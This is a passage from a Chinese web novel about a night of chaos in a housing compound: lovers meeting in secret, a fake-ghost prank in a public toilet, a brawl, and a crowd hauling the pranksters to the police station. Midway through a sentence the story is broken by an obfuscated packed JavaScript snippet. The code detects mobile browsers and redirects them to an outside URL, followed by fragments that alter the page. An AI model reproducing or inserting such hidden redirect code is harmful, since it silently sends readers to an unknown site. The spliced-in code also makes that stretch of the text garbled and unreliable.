程大柱睨了范桃花一眼,似笑非笑道:“谅你也没这个胆子。行了,最近我有别的事儿,没功夫光顾你的生意了,你去找别人吧。好了......” 说到这里,他愣了一下,小声道:“有人,藏起来,不要出声。” 而另一边,却是心愿得偿的裘向东,以及最近十分低调的孙巧莲,还有无意中看见两人勾搭,特意跟来的老吴头。 裘向东说通了陶美玉抱养一个儿子,心里正得意呢,独自上楼的时候,恰巧看见在家做饭的孙巧莲。孙巧莲是那种很丰腴的身材,胸大屁股大的,大夏天做饭,不免出汗,衣服贴在身上,很是凸显身材。 裘向东眼睛钉在孙巧莲身上,使了个眼色,没多停留就回了家。 他没想到,就是这个眼神儿,让在门口也偷窥孙巧莲的老吴头,看个正着。 老吴头心里那个乐啊。他一直是有色心,但胆子不大的人。之所以敢占程改改的便宜,那是欺负小丫头年轻脸皮嫩,对孙巧莲这种不要脸的,他是不敢的。不过看,老吴头还是要看的,毕竟不看白不看嘛。这不是,今儿就看到秘密了嘛。他翘起嘴角,决定盯着孙巧莲和裘向东,看这两人搞什么鬼。 另一边,孙巧莲虽然察觉了老吴头的视线,却并不在乎。男人嘛,只要有 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裘向东很是自得,他能哄得陶美玉甘心抱养儿子,孙巧莲只是想他而已,太正常了。毕竟像他这种猛男,哪个女人不爱?他从兜里掏出五块钱,扔给孙巧莲道:“喏,给你,回去买点儿肉吃。” 孙巧莲接钱的动作没有一丝迟疑,这都是辛苦钱,她该得的,嘴上却继续调笑道:“人家可是想你的人。你说你,整天在井上值班,也不着家,人家想你想得都睡不着觉。” 裘向东皱皱眉,想到裘盼儿也说他整日不着家,他心底有一丝不安,开口道:“行了,别这么多话,男人工作的事,哪里是女人能插手的。” 孙巧莲撇嘴,开始说起别的:“我怎么听说盼儿要成亲了,盼儿不是才十六......” 裘向东心里不耐烦,语气自然不怎么好了:“别人家的事,少打听。好了,收拾收拾走了............等等,有人。” 裘向东赶紧扣好衣服,躲在一棵树后。孙巧莲也吓了一跳,白着脸躲起来。 树后的老吴头正看得口干舌燥呢,闻言撒丫子就跑。他以为被发现了呢,可不赶紧跑嘛。幸亏天黑,他跑得又快,裘向东和孙巧莲倒是没看清楚是谁。不过两人也没马上出来,又躲了一会儿,才悄悄绕到另一侧,悄么悄地离开。 就是这么寸,两对儿野鸳鸯都朝着远离声音的方向退,可不就遇上了嘛。今夜月光格外好,远远就认出了彼此。程大柱和裘向东倒是没啥,男人嘛,总是能在这种事情上格外宽容。范桃花和孙巧莲就彼此眼红了,范桃花当先呸一声,压低声音咒骂:“装什么良家人,既当又立的,恶心!” 孙巧莲躲在裘向东身后,拽着他的衣角,一副受欺负的可怜样儿,哭哭啼啼道:“我......我跟裘大哥借点儿钱,你思想不要这么龌龊。我家日子不好过,南山一个人养一家子,亲戚朋友都被我借遍了,裘大哥刚回来,我才想着借点钱,你可不能冤枉我。” “装什么装!”范桃花最看不上孙巧莲这个样儿,凭什么都是出来偷人,她就离婚了还被赶了出来,而孙巧莲却能仍然住在筒子楼。她恶狠狠盯着孙巧莲,恨不能撕了她。 “够了!”裘向东低吼,甩开孙巧莲的手,开口道,“这么晚了,怕人家听不到是吧?要打你们打,我是要绕道回去的。” 说完也不管其他人如何反应,当先迈步离开。范桃花见状,知道不是闹的时候,冷哼一声,扭着身子离开。 而惊了鸳鸯的四人,很是无语。姜楠小声跟大家说了树林里的情况,姜满城感慨:“这真是个热闹的夜啊。” 三人默默点头,是啊,各有各的忙活,可不热闹嘛。 四人各自找了一棵树隐蔽。还没藏多久,就被一道凄厉的男声,惊出一身鸡皮疙瘩。 这还要从想要装鬼吓唬人的万翔说起。 大晚上,万翔带着三个小弟,抱着白床单,嗖嗖往一号院跑。 这三个人是万翔他大哥万虎的手下,那可是心腹,能跟着喝汤的那种。因着喝了汤,对万虎可是言听计从的,听到万翔在派出所受了气,很同仇敌忾的。当即拍着胸脯保证,一定给周知行那小子一点儿教训。 本来四人是准备早点儿过来的,可是喝酒误事,四人迷糊到十点半,才清醒过来,这不是嗖嗖往这边赶嘛。 四个人跑得都快岔气了,终于到达了一号院。远远瞧见公厕,万翔还在四周找了一圈儿,见周围没人埋伏,这才放心。 “果然是蠢货,抓鬼现在还没来。那就不要怪我扮鬼吓你们了。”万翔小声嘀咕,让大家披上床单准备起来。 捉鬼嘛,在万翔的认知里,无非就是到公厕里兜一圈,看看有没有谁在装神弄鬼。只要周知行进来,他们就吓人!四个披着白床单的鬼,还不把他们吓死!说不定周知行被吓得尿裤子呢。 就算吓不住也没事儿,他们四个人呢,到时候打起来,他们也不吃亏。毕竟,他们是四个大男人,而周知行他们,只有两人,还有一个是女的。四打二,他们赢定了。 想到这里,万翔桀桀桀笑了起来,配上白床单,别说,真的还怪渗人的。 周知行四人将万翔他们的动作看得一清二楚,姜楠的白眼都快翻上天了,这家伙蠢的,她都不忍心扮鬼吓他了。 是的,作为女同志,她当然不能进男厕所了,所以捉鬼现场,姜楠是不能进的。她和陈金花是在外面策应的,要是有人逃跑,她俩负责补刀,尽量将‘四鬼’全部抓获。 本来姜楠都想好了,准备在外面策应时,利用变声器,等万翔逃出来时,出声吓唬吓唬他。如今嘛,见机行事吧,毕竟万翔,很可能第一轮就被制服,根本逃不出来。 54. 混乱的夜 姜楠想得半点不错。可惜啊,被老吴头、程大柱和裘向东三人搅乱了。也不能说搅乱,更确切地说,是被三人闹大了。 话说老吴头不是跟踪裘向东和孙巧莲听墙角嘛,被偷摸进小树林的姜楠四人打断,他以为被发现了,撒丫子就跑。这一带可是家属院的地盘儿,他熟得很,很快跑到一号院后门,见没人追,老吴头才放下心。 也许是受惊过大,他一时觉得尿急。看见公厕哪里还忍得住,钻进去就想解决个人问题。谁想到听到万翔桀桀桀的笑声,还看到齐刷刷四个鬼,啊一声,吓得当场尿了裤子不说,还昏死了过去。 万翔:“晦气,这特么谁啊,这么蹿出来,还怪吓人的。” 他拍拍胸脯,吩咐三人:“把他拉一边儿去,别让周知行他们看见了。” 三个‘白床单’点点头,拽着老吴头放到墙角,继续埋伏起来,准备吓唬周知行。 按说大晚上,老吴头的尖叫声是会引人注意的,但这一带闹鬼嘛,大家还是有些怕的,也不敢就这么冲出来,还是决定再等等。万一是猫叫呢。 他们才不是害怕。 姜楠四人可不能再躲着了,她将小包袱放进空间,刚想起身,就见裘向东和程大柱远远过来。四人无法,只得再躲起来。 男人嘛,事后都忍不住想去厕所。程大柱远远瞧见公厕,加快脚步过去。他们来得晚,没听见老吴头的叫声,况且程大柱多少猜到点什么,当然不害怕公厕的‘鬼’。裘向东犹豫了一瞬,也决定跟上。程大柱都不怕,他还能不如一个窝囊废? 两人先后进入公厕,又是齐刷刷四个鬼,程大柱啊一声,妈呀,这不是他老爹装神弄鬼啊,这是真的有鬼。他转身就跑:“别来找我,我是个好人,你们别来找我。” 见到身后的裘向东,他语无伦次道:“你们找他,他是个大坏蛋,在外面勾搭寡妇,家里装得跟个好人一样,你们找他!我是好人啊。” 他想往外跑,却不知道这些话有多得罪裘向东。 丫的,今儿出来干什么,大家心照不宣,你特么还乱叫乱嚷,当没人听见是吧?裘向东才不相信有鬼,不过是四个人装神弄鬼罢了,等他收拾了程大柱,再把四个装鬼吓唬人的混蛋收拾了。 “你特么再说!”裘向东抡起拳头,照着程大柱脸上招呼。 程大柱一心想逃命啊,没想到被人一拳打到地上。他本来胆子就不大,家里又惯着他,做什么还是很顺的。如今被人这么揍,火气蹭蹭上来,愣是压住了恐惧。他嗷嗷叫了两声,窜起来揍人。 两个大男人,就这么在公厕上演了全武行。 万翔和四个鬼:我们还在这儿呢,请给鬼最起码的尊重,谢谢。 万翔看不下去了,这么大动静,周知行几个人进来还能吓到?他辛辛苦苦埋伏在公厕,可不是来看两个老爷们打架的。 他大吼一声:“你们给我住手,要打出去打。” “你闭嘴。”程大柱和裘向东双双回头怒吼。 程大柱反应过来,边回击边喊道:“好啊,你们装神弄鬼。等我打完人就去举报你们,不做人的玩意儿!混账王八蛋!” 想到刚才他竟然吓得抱头就跑,更觉得丢人,程大柱一边打架一边骂人,那话脏的,跟他妈刘老太可是一脉相承。 万翔多少年没听过有人这么骂他了,气得鼻孔冒烟,他招手吩咐三个小弟:“给我往死里揍。” 三名小弟也听得一肚子火气呢,闻言直接冲向打架的两人,不管三七二十一,霹雳吧啦就打。一下子,六个人打得难分难解。 小树林里,姜楠四人听到打斗声,很快冲出来。姜满城和周知行进入男厕所,被里面凶残的斗殴现场惊呆了,只见程大柱和裘向东双双被人骑在身上,‘白床单’哗啦呼啦往脸上扇巴掌呢,还有人在旁边上蹿下跳地补刀。 万翔不愧做了三年的外勤,虽然不算派出所正式员工,打架还是很有一手的,地上的程大柱嗷嗷叫唤。裘向东那边倒是还能还手,只是对方人多,万翔又两头蹿着补刀,裘向东再勇猛,也多有不敌,脸都被打肿了。 姜满城和周知行呆愣片刻,很快发起了攻击。周知行可是做过侍卫的人,身手比姜楠还好,姜满城也不是什么也不会,撒石灰、喷辣椒水那是很溜的。很快,扫堂腿,左勾拳,右肘击,不出十个回合,‘四鬼’以及程大柱、裘向东全部捂眼倒地。 万翔眼泪哗哗的,哎呦哎呦叫唤不停,他骂道:“周知行,你特么敢偷袭我。我让我哥弄死你,妈呀,你还敢喷辣椒水,你个缺德玩意儿!” 姜满城哪里能让人这么骂,他想动手,却被周知行拉住,周知行问:“万翔,是你吗?” “就是我,你特么赶紧扶我起来。” “你怎么打扮成这样?” “要你管?我.....我过来帮你捉鬼,行不行?你特么少废话,快过来扶我。” “周家小子,你别听他的,他是来装神弄鬼吓唬人的,我刚进来就看见他们四个人,披着白床单,不是装神弄鬼是什么?你快抓住他们。”程大柱被揍得浑身疼,不忘开口告状。 “你特么给我闭嘴。我说是就是,你少废话。快放开我,我告诉你,我马上要调去做领导了,你可不能把我怎么样。你......” “啊啊啊,捉到鬼啦,捉到鬼啦!”这是平房里出来上厕所的年轻人,他本来就不信这个,家里买了尿壶他也不用,非要过来上厕所,没想动真被他遇到事了。他当即大喊起来,手舞足蹈的,声音里带着明晃晃的惊喜,“是有人装神弄鬼,不是真的鬼啊。” “大家快过来看,不是真的鬼。” 平静的夜被打破,离公厕近的几处楼和院子都亮起了灯,瞬间呼啦呼啦跑过来一群人。有人拎着棍子,有人拎着锅铲,还有拎扫把拖把的,总之五花八门,拿什么的都有,主打就是给自己壮胆。 有那一栋楼为了防贼,楼道上了锁的,都嗷嗷叫着让楼长快点儿开门呢。 更有那胆子大的,例如莽夫吴大锤和缺根弦林兵,两人什么也没拿,赤手空拳就往男厕跑。 “我看看是哪个混蛋玩意儿不做人,在我们一号院闹妖儿。” “胆子不小,来一号院闹事儿,也不问问我林兵答不答应。” 好嘛,原先闹鬼的时候不敢抓,这听到有人装神弄鬼,林兵也是活跃的一匹。 “四个,怎么有四个鬼?还是男的?不是说是女鬼?”吴大锤的声音再次响起,“哎,不是,程大柱,裘向东,你俩怎么在这?额,爸,你怎么也在这儿?爸,你醒醒。” 原来混战间,角落的老吴头被不知道谁踢了出来,正好能被人看见。 林兵眼珠子一转,嗷嗷叫唤起来:“哎呀,老吴头被吓得尿裤子了。大家快来看啊,老吴头尿裤子晕倒了。” 哼,让他们在相亲的时候截胡,今天就让他家把脸丢光! 林兵嗷嗷地叫唤,吴大锤想反驳,却也闻到了老吴头身上的尿骚味。他有些嫌弃,却还是大声嚷道:“你叫唤什么,被鬼吓到尿裤子是什么大不了的事儿嘛,大惊小怪,没见大柱子两个还被揍了嘛,鼻青脸肿的,我爹年纪大,被吓晕不是很正常。少见多怪,怪不得现在还娶不到媳妇儿,你就是没见识,女同志能看上你才怪!” “你!”林兵气得冒烟儿,他胡言乱语道,“谁知道是见鬼还是心虚?我看老吴头肯定是做了什么见不得人的事儿,所以才这么害怕。这老登可是在派出所呆了两天,肯定是做了啥坏事儿。他就不是啥好人,你们一家都是包庇犯,要不是你们,警察早抓他去坐牢了!” 两人在这里互相攻击,公厕外面,大家听说是四个男的,还有老吴头三人,呼啦啦冲进去,还有老大娘也想进男厕所呢,被几个老爷们推了出去。 “男厕所,这可是男厕所,女的不能进。” “切,老娘什么没见过,男厕所怎么了?又没人上厕所,我是去看鬼的,又不是看你,你嚷嚷个什么劲儿!”老大娘不愧是身经百战,当即叉腰骂道,“走开,老娘就是要看,要你管。” 后面几个老大娘也嗷嗷叫唤,老大爷不敌,很快被推到一边儿。有一个见过‘鬼’的老大娘见了地上躺着的四个人,冲上去就打:“让你吓唬老娘,老娘一个月没敢晚上出来上厕所,都是你们!不要脸的狗东西!” “哎呀妈呀,老吴头这是被吓得尿裤子了吧?” “哎,向东,大柱子,你俩咋了?捉鬼被打了啊?” “哎,不是,你们不是住四号楼嘛,家里有厕所啊。” 老大娘边打人还边回话呢:“你管得倒多,不兴人家家里厕所坏了啊。” 吴大锤倒是没听出来老大娘是在为他说话,还疑惑呢:“我家厕所没坏啊。” 林兵可算是抓住华点了,他一个劲儿的攀咬:“好哇,厕所没坏,老吴头大晚上来公厕,肯定是来偷看女厕所的。我可看见了,他刚才就倒在跟女厕所挨着的墙边,肯定是想偷听。这要不是晕倒了,说不定就跑女厕所后面爬墙头了。这就是个老流氓啊,女同志们可得当点心!” “你少胡说八道。”吴大锤可不能让他爹传出这个名声,儿子的亲事刚有眉目,再因为这个黄了多冤得慌,他忙道,“你要是再胡说八道,我就去派出所告你。我可不怕,我家是因为我今天拉肚子,一直呆厕所,我爸没办法,才来公厕的。谁还没个生病的时候,你要是再胡说八道,可别怪我不客气!” 林兵才不怕这个呢,他脑子天生缺根弦,又特别的好面子,要是别人威胁两句他就停手,多丢面儿,他仍旧嗷嗷地叫嚷:“切,他是你爹,你当然护着他。反正老吴头平时为人咋样,大家都看在眼里。女同志们都留个心眼儿,当心这个老流氓尾随你们上厕所!” 吴建国来得晚,他本来就身子骨不好,动作慢,来得时候正好听到这里,他努力扒开人群往里面挤:“让一让,让一让,我看看我爷。林兵你少冤枉人,谁家没有急着用厕所的时候,你这么说话可不行。我爷以前是不对,但他最近可都改了,你不能拿老眼光看人。” 别看吴建国父子一致否认,但老吴头平时名声在外,女同志们多少还是有些疑心。老吴头平时那种黏腻恶心的眼神,很多女同志都感受过的,此时心里对这人又防范了几分。 只说如今吴建国一心往前挤,前面的人还想训斥不要插队呢,见是吴建国,让出了一条缝儿,说道:“建国啊,你爷爷晕厕所里了,不知道掉没掉进粪坑,你快去看看。” “啥,掉粪坑了?” “那谁知道呢,保不齐就掉进去了呢。” “保不齐保不齐,不然能现在还没声音,肯定是吓着了。” 谣言,当着当事人孙子的面,就这么产生了。估计明天,老吴头掉粪坑就坐实了。 不过也是活该,毕竟只是谣言掉粪坑,并没有真的掉下去。姜楠还觉得遗憾呢,老吴头这个人啊,是该给点儿教训的。 话说吴建国费尽九牛二虎之力,终于挤进了公厕,还没找到老吴头,突然,一道凄厉的女声响起:“向东,向东。”声音尖锐的愣是让大家伙儿打了个寒战。 有人认出了喊叫的女人,不满道:“美玉啊,大晚上的可别这么嚎,怪渗人的。” “让开,我家向东在里面,让我进去!”陶美玉像是完全失去了理智,她推开说话的老大妈,连前面同样往前挤的吴建国都被推了个趔趄,她再次大喊,“都起开!我家向东在里面啊,里面可是闹鬼的。你们有没有良心,都让开。” 陶美玉只觉得凄苦,她醒来就发现向东不见了,还听到下面的呼喊声,心里岂能不急?她去叫盼儿跟着她下楼,可盼儿的房门紧闭,怎么叫都叫不开。她只得只身下楼,现在她只剩下向东了,连亲生的女儿都靠不住,她不靠向东还能靠谁? 众人被陶美玉脸上的神情吓到了,纷纷让开一条道儿。 厕所里,老大娘还呼呼打人呢。其他三人见万翔被打,挣扎着想过去营救,无奈被冲进来的众人按着,丝毫动弹不得。 “哎呦,哎呦。”万翔拼命躲闪,脸红脖子粗地叫嚷:“周知行,你快让她住手。我不是鬼啊,我是今儿才来,以前不是我。” “你说不是你就不是你了?你这都被抓到现行了,还想不承认?” “我说不是我就不是我。”万翔冲着老大娘怒吼,“你们不是说以前是女鬼嘛,我是男的,男的。” “就是,我们是男的,还是四个人,不是我们。”这是万翔大哥万虎同志忠实的小弟一号。 “谁知道以前是不是你们故意学女人说话?!” “不是我!”万翔简直觉得跳进黄河都洗不清了,他嚷道,“我这嗓子怎么学女人说话,我可是乌鸦嗓,乌鸦嗓,女人哪有这样的。” “那谁知道,说不定你会口技呢。” “就是,就是。” 这得亏是姜楠没动手,不然就冲老大爷老大妈们见多识广的,她的变声器也不保险啊。瞧瞧,他们还知道口技呢。 “我说不是我!”万翔被气得不轻,也不管三七二十一了,吼道,“我就是想吓唬吓唬周知行,不是想吓唬你们的!” 这句话一吼出来,人群静了一瞬。 周知行隐晦地弯了弯嘴角,无辜地问道:“我们同事一场,你干嘛要吓唬我?” “啊,这还是个警察?”人群里,不知道是谁不可置信地小话道。 “不是。”周知行立马解释,“他只是其他单位到派出所锻炼的,人事档案不在我们派出所,不是警察。大家不要误会。” “那是,人民警察都是为人民的,可没有这种装神弄鬼的。” “啊啊,你们放开我,啊啊,谁打我,你们真是,怎么能打人,我说了不是我。” 陶美玉进来,一眼就看到被打的鼻青脸肿的裘向东,又听到几个‘鬼’还在狡辩,她疯了一样冲上去,照着男人最脆弱的地方就踹,大喊道:“让你们装神弄鬼吓唬人,让你们打我男人,我打死你们,打死你们!” 陶美玉此时就是美剧里绝望的主妇,爆发力惊人,拎着疼得蜷缩成一团的白床单,直接往墙上撞,咣咣咣的,跟金刚芭比似的,看着就吓人。 “别打了,我草,撞墙了,疼!” “啊啊,别往墙上撞啊,疼。救救我们啊,疼死了。这个女人疯了,疯了啊。快报警,抓住这个女人,救命啊!” 陶美玉闹腾得厉害,吸引了所有人的注意力,谁也没留意到,角落里的老吴头幽幽醒转,他本来就被吓坏了,如今一睁眼,妈呀,白鬼被一个红衣长发的女鬼拎起来打啊,嗷嗷的,吓得鬼都叫警察了,疯了,这个世界疯了啊。 老吴头咯噔一下,又晕了过去。 承受不住,他真的承受不住了。 姜楠瞥了一眼再次晕过去的老吴头,嘴角隐晦地翘了翘。她望向杀疯了的陶美玉,谁能想到,平时文文弱弱的陶美玉,疯起来这么强悍啊,这战斗力,比刘老太、方阿婆和裘老太加起来还猛啊。而且,她晚上睡觉穿的大裤衩子和大背心,是红色的啊,闹鬼的大晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15596997|166133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上穿这个出门,披头散发的,你说闹心不闹心,老吴头被吓晕也不冤。 姜楠才不承认她心里乐开了花呢。 周知行也有些麻爪儿了,他在古代也不是没见识的,多少后宫争斗堪比金枝欲孽啊,还有豪门塘心风暴,他可都见识过,还完整地吃过瓜呢,可哪次,也没有这么华丽丽的变身啊,小白兔瞬间化身大恶狼,见识了,真的见识了。 他回过神,见陶美玉再打下去就难收场了,忙扔出一颗小石子,让陶美玉倒地停手。你看看,不是一家人不进一家门,两人都是这么热衷于用小石子偷袭。像是老丈人那种辣椒水石灰粉之类的,太明显,不行,不行。 姜满城:我那是不会功夫好不好。 林兵缩在角落,再也不敢叫唤了。妈妈呀,疯女人好可怕,他以后要远离陶美玉,他怕怕啊。 陶美玉倒地后,清醒许多,膝行几步,哭着来到裘向东身边,抱着男人嘤嘤嘤,柔弱又无助,仿佛刚才疯狂打人的不是她。 裘向东多少还是被震撼到了,他属实是没想到,陶美玉疯起来他都害怕啊。在裘向东心里,陶美玉,他是能手拿把掐,拿捏的死死的。可如今,裘向东暗戳戳地想,不行,不能心急,得慢慢来,不能惹急了这个疯女人。 “啊啊啊,别打了!要打也出去打,去厕所外面行不行?怎么,厕所好闻啊,都围在这里!”万翔见疯女人不打了,心里又害怕又有庆幸,太幸运了,疯女人没来得及踢他就倒地了,呜呜呜,太幸运了。他还年轻,可不能出问题啊。这群蠢货,他都说了不是他,还不放了他,真是活该他们见鬼! “对,去外面吧,厕所里味道不好。”公厕出事,老程头可是冲得很快的,那是稳稳站在看热闹的第一梯队。见大家把人往内墙撞,心里那个着急啊,听到万翔的话,眼神闪了闪,立马接了话头。 周知行眼神幽暗,这个老程头,是生怕大家在公厕呆久了啊。 众人一想也是,这事儿短时间掰扯不清,还是去外面更稳妥。大家七手八脚地拉着倒地的四人,很快出了公厕。 姜楠看了眼不远处的角落,程大柱、裘向东和孙巧莲从小树林另一头绕出来后,程大柱和裘向东去了公厕,孙巧莲没有多此一举,而是直接回了家,此时混入看热闹的人群中,当真是神不知鬼不觉的。 也是,很大胆了。 这年头,也只有这么大胆的人,才能吃窝边草吃得这么安心。剩下的范桃花,已经趁乱回到玻璃钢小区了。 察觉到姜楠的眼神儿,姜满城眼神在人群里皴寻一圈儿,虽然是大晚上,但有人打着手电筒,他很快看到了另一边的孙巧莲,哼笑了两声。 没了公厕的‘毒气’攻击,万翔爆发出前所未有的战斗力,他叫道:“你们快放了我,我哥可是某会的主任,你们要是敢动我,我就让你们全都蹲笆篱子。” 人群静了一瞬,很快像是油锅进了一滴水星子,霹雳吧啦,火花四溅。 “好啊,你在这里搞封建迷信,还敢威胁人!” “我看这可不是简单的封建迷信,说,你是有什么目的?为什么要在我们一号院装神弄鬼?是不是跟最近的倒卖物资有关?” “这怎么说?” “你们想啊,公厕里闹鬼,大家晚上是不是都不敢出来?我们一号院可是挨着主干道的,没人出来,主干道上发生什么,是不是就没人发现了?我看呐,他们是在为贼人打掩护,想要来个声东击西!” “不是这个词儿吧?应该是调虎离山?” “不是,应该是围魏救赵!” 好家伙,大家伙儿的的脑洞都不小,三言两语就给万翔扣了一顶大帽子。 也是万翔不做人,你好好解释,大家可能还会听一听,可你拿某会威胁人,这就很膈应人了。这年头,谁不怕某会啊?编织罪名谁不会?没看,大家七嘴八舌的,万翔想辩解都插不进去话嘛。 等大家歪楼,争论起了没用的,万翔才找到机会,气得大喊:“你们少胡说了。有种就报警,我才不怕被调查呢。我就是想吓唬吓唬周知行,其他的事儿可都不是我干的,你们少给我扣帽子。” “这里不就有警察?” “对啊,小楠、小行他们都在,早就报警了。” “抓他们蹲笆篱子,一定不能放了他们。”陶美玉扶着裘向东,突然歇斯底里地怒吼,这几个不做人的,瞧把她男人揍的,该死,都该死。 裘向东身子不由地抖了抖,怕了怕了,不敢惹,不能操之过急。 “向东,你是不是很疼?嘤嘤嘤,你受苦了,向东啊,你受苦了。” 众人:你再嘤嘤嘤,我们也看见你变脸了啊。 太可怕了,大家看向裘向东的眼神都充满了同情,会不会......平时在家里,裘向东是怕陶美玉的啊?不然这女人这么疯,老爷们儿轻易不敢放肆啊。 裘向东还不知道他被大家同情了,他此时满脑袋问号,被陶美玉扶着不敢动啊,只觉得同床共枕这么多年,他可没看清陶美玉这个人啊,太可怕了。 人群里,程改改终于挤进来,看见她爸,也上前扶住,不过并没说什么,只是瞪着四个鬼,眼神凶狠。 “好了。”见万翔几人也被揍得差不多了,周知行开口道,“大家不要激动,我们会带这四个人回去审问的,一定把最近闹鬼的事调查清楚。天也不早了,大家还是回去休息吧。” 很显然,听话的人不多。也就程大柱、裘向东、老吴头几个受伤的,被家人扶着回去了。其余人就是不走,就连姜楠和周知行扭送‘四鬼’进派出所,大家还在后面跟着呢,主打的就是大晚上看热闹,也是很坚持了。 毕竟,他们也想看看,这‘四鬼’是不是在围魏救赵啊。 姜满城和陈金花倒是没跟着,姜满城打着呵欠,跟媳妇儿抱怨:“当初就不该当警察,哎,这大晚上的都不能睡觉,还得抓人。这也太辛苦了。” “小楠喜欢啊。”陈金花安慰道,“没事,小行跟着呢,他会帮着照顾小楠的。” “小行小行,金花,你现在怎么三句话不离小行!”姜满城再,再,再次吃醋,好悬没酸出个好歹。 “好了,在外面呢,别耍花腔。”陈金花嗔怪,见没什么人了,问道,“你刚才在人群里找谁呢?” “孙巧莲,裘向东那家伙她也敢招惹,那家伙鬼着呢。不过今儿陶美玉这一发疯,估计裘向东以后也不敢太过分了吧。”姜满城低声道。 另一头,虽然跟着的人很多,但派出所也不是每个人都敢进的,大多数还是在外面探头探脑。虽然进不去,但还是坚持。有公安拿着大喇叭劝大家回去,大家就是不走,看不见也等着,就是要凑这个热闹。 而当事人万翔,他大哥万虎本来就担心小弟,见他这么晚了还没回家,早就派人去派出所堵人了。 万虎想得很清楚,小弟装神弄鬼如果不成功,很大可能被人扭送到这里,他来这里接人,可是守株待兔。而且小弟也不算派出所的人,他派相关单位领导去领人,再名正言顺不过。 沈明光后半夜被人从被窝里叫醒,本来就脾气不好,听说这狗屁倒灶的事儿,真是气不打一处来。正好,这烫手山芋他还不想要了呢。想调走是吧,那就走,谁求着他们来了?当初还不是压着他,塞人进来,如今又要把人提溜走,真是,当初又何必多此一举呢。 总之,这一晚,没几个人心里有好气,恐怕睡得最好的,反而是心愿得偿的裘盼儿,以及像程地质这种,四岁什么都不知道的奶娃娃了。